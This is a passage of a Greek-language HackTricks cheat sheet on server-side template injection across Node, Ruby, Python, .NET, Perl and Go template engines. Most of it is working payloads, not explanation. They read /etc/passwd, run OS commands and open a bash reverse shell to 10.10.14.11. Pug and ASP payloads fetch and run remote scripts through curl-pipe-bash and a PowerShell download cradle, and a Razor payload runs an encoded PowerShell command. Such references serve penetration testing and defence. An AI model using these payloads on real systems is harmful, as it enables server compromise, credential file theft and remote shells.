Fwith%7D%7D
Περισσότερες πληροφορίες
JsRender (NodeJS)
| Πρότυπο | Περιγραφή |
|---|---|
| Αξιολογεί και αποδίδει έξοδο | |
| Αξιολογεί και αποδίδει HTML κωδικοποιημένη έξοδο | |
| Σχόλιο | |
| και | Επιτρέπει κώδικα (απενεργοποιημένο από προεπιλογή) |
- = 49
Πλευρά πελάτη
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Πλευρά διακομιστή
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Περισσότερες πληροφορίες
PugJs (NodeJS)
#{7*7} = 49#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Παράδειγμα server-side render
var pugjs = require("pug")
home = pugjs.render(injected_page)
Περισσότερες πληροφορίες
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = Καμία έξοδος
- #{7*7} = #{7*7}
- {{console.log(1)}} = Σφάλμα
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}
Περισσότερες πληροφορίες
NodeJS expression sandboxes (vm2 / isolated-vm)
Ορισμένοι workflow builders αξιολογούν εκφράσεις που ελέγχονται από τον χρήστη μέσα σε Node sandboxes (vm2, isolated-vm), ωστόσο το context της έκφρασης εξακολουθεί να εκθέτει this.process.mainModule.require. Αυτό επιτρέπει σε έναν attacker να φορτώσει το child_process και να εκτελέσει εντολές OS ακόμη και όταν οι ειδικοί κόμβοι “Execute Command” είναι απενεργοποιημένοι:
={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
Άλλα NodeJS
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg
 (1) (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg
- Περισσότερες πληροφορίες στο https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
ERB (Ruby)
{{7*7}} = {{7*7}}${7*7} = ${7*7}<%= 7*7 %> = 49<%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Περισσότερες πληροφορίες
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
Περισσότερες πληροφορίες
Άλλο Ruby
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg
- Περισσότερες πληροφορίες στο https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Python
Δες την παρακάτω σελίδα για να μάθεις κόλπα σχετικά με arbitrary command execution bypassing sandboxes σε python:
Tornado (Python)
{{7*7}} = 49${7*7} = ${7*7}{{foobar}} = Error{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
Περισσότερες πληροφορίες
Jinja2 (Python)
Το Jinja2 είναι μια πλήρως εξοπλισμένη μηχανή προτύπων για Python. Παρέχει πλήρη υποστήριξη unicode, ένα προαιρετικό ενσωματωμένο περιβάλλον εκτέλεσης σε sandbox, είναι ευρέως χρησιμοποιούμενο και διατίθεται υπό άδεια BSD.
{{7*7}} = Error${7*7} = ${7*7}{{foobar}} Nothing{{4*4}}[[5*5]]{{7*'7'}} = 7777777{{config}}{{config.items()}}{{settings.SECRET_KEY}}{{settings}}<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - Μορφή προτύπου
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE που δεν εξαρτάται από __builtins__:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Περισσότερες λεπτομέρειες για το πώς να εκμεταλλευτείτε Jinja:
Άλλα payloads στο https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Περισσότερες πληροφορίες
Άλλο Python
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg
- Περισσότερες πληροφορίες στο https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Razor (.Net)
@(2+2) <= Success@() <= Success@("{{code}}") <= Success@ <=Success@{} <= ERROR!@{ <= ERRROR!@(1+2)@( //C#Code )@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
Η μέθοδος .NET System.Diagnostics.Process.Start μπορεί να χρησιμοποιηθεί για να εκκινήσει οποιαδήποτε διεργασία στον διακομιστή και έτσι να δημιουργήσει webshell. Μπορείτε να βρείτε ένα παράδειγμα ευάλωτης webapp στο https://github.com/cnotin/RazorVulnerableApp
Περισσότερες πληροφορίες
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>= 49<%= "foo" %>= foo<%= foo %>= Nothing<%= response.write(date()) %>= <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
Περισσότερες Πληροφορίες
.Net Παράκαμψη περιορισμών
Οι .NET Reflection mechanisms μπορούν να χρησιμοποιηθούν για την παράκαμψη του blacklisting ή όταν οι κλάσεις δεν υπάρχουν στο assembly. DLL’s μπορούν να φορτωθούν κατά το runtime με methods και properties προσβάσιμα από basic objects.
Dll’s μπορούν να φορτωθούν με:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}- από το filesystem.{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}- απευθείας από το request.
Πλήρης εκτέλεση εντολής:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
Περισσότερες Πληροφορίες
Mojolicious (Perl)
Ακόμη κι αν είναι perl, χρησιμοποιεί tags όπως τα ERB στο Ruby.
<%= 7*7 %> = 49<%= foobar %> = Error
<%= perl code %>
<% perl code %>
SSTI in GO
Στον template engine του Go, η επιβεβαίωση της χρήσης του μπορεί να γίνει με συγκεκριμένα payloads:
{{ . }}: Αποκαλύπτει τα δεδομένα εισόδου της δομής. Για παράδειγμα, αν περάσει ένα αντικείμενο με ιδιότηταPassword, το{{ .Password }}θα μπορούσε να το αποκαλύψει.{{printf "%s" "ssti" }}: Αναμένεται να εμφανίσει το string “ssti”.{{html "ssti"}},{{js "ssti"}}: Αυτά τα payloads θα πρέπει να επιστρέφουν “ssti” χωρίς να προσθέτουν “html” ή “js”. Επιπλέον οδηγίες μπορείτε να βρείτε στην τεκμηρίωση του Go εδώ.
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg
XSS Exploitation
Με το package text/template, το XSS μπορεί να είναι απλό εισάγοντας το payload απευθείας. Αντίθετα, το package html/template κωδικοποιεί την απάντηση για να το αποτρέψει (π.χ. {{"<script>alert(1)</script>"}} αποδίδει <script>alert(1)</script>). Παρ’ όλα αυτά, ο ορισμός και η κλήση template στο Go μπορούν να παρακάμψουν αυτή την κωδικοποίηση: {{define “T1”}}alert(1){{end}} {{template “T1”}}
vbnet Copy code
RCE Exploitation
Η εκμετάλλευση RCE διαφέρει σημαντικά μεταξύ html/template και text/template. Το module text/template επιτρέπει την κλήση οποιασδήποτε δημόσιας συνάρτησης απευθείας (χρησιμοποιώντας την τιμή “call”), κάτι που δεν επιτρέπεται στο html/template. Η τεκμηρίωση για αυτά τα modules διατίθεται εδώ για html/template και εδώ για text/template.
Για RCE μέσω SSTI στο Go, μπορούν να κληθούν μέθοδοι αντικειμένων. Για παράδειγμα, αν το δοθέν αντικείμενο έχει μέθοδο System που εκτελεί εντολές, μπορεί να εκμεταλλευτεί όπως {{ .System "ls" }}. Συνήθως είναι απαραίτητη η πρόσβαση στον πηγαίο κώδικα για να εκμεταλλευτεί αυτό, όπως στο παράδειγμα:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
Περισσότερες πληροφορίες
- https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to
- https://www.onsecurity.io/blog/go-ssti-method-research/
LESS (προεπεξεργαστής CSS)
LESS είναι ένας δημοφιλής προεπεξεργαστής CSS που προσθέτει μεταβλητές, mixins, functions και την ισχυρή οδηγία @import. Κατά τη μεταγλώττιση η μηχανή LESS θα ανακτήσει τους πόρους που αναφέρονται στις δηλώσεις @import και θα ενσωματώσει (“inline”) τα περιεχόμενά τους στο προκύπτον CSS όταν χρησιμοποιείται η επιλογή (inline).
{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}
Περισσότερα Exploits
Ελέγξτε τα υπόλοιπα του https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection για περισσότερα exploits. Επίσης μπορείτε να βρείτε ενδιαφέρουσες πληροφορίες για tags στο https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Σχετική Βοήθεια
Αν θεωρείτε ότι μπορεί να είναι χρήσιμο, διαβάστε:
Εργαλεία
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
Λίστα Ανίχνευσης Brute-Force
Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
Αναφορές
- Node expression sandbox escape via
process.mainModule.require(n8n PoC) - https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
- 0xdf – HTB: Editor (XWiki SolrSearch Groovy RCE → Netdata ndsudo privesc)
- XWiki advisory –
SolrSearchRSS Groovy RCE (GHSA-rr6p-3pfg-562j / CVE-2025-24893)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks

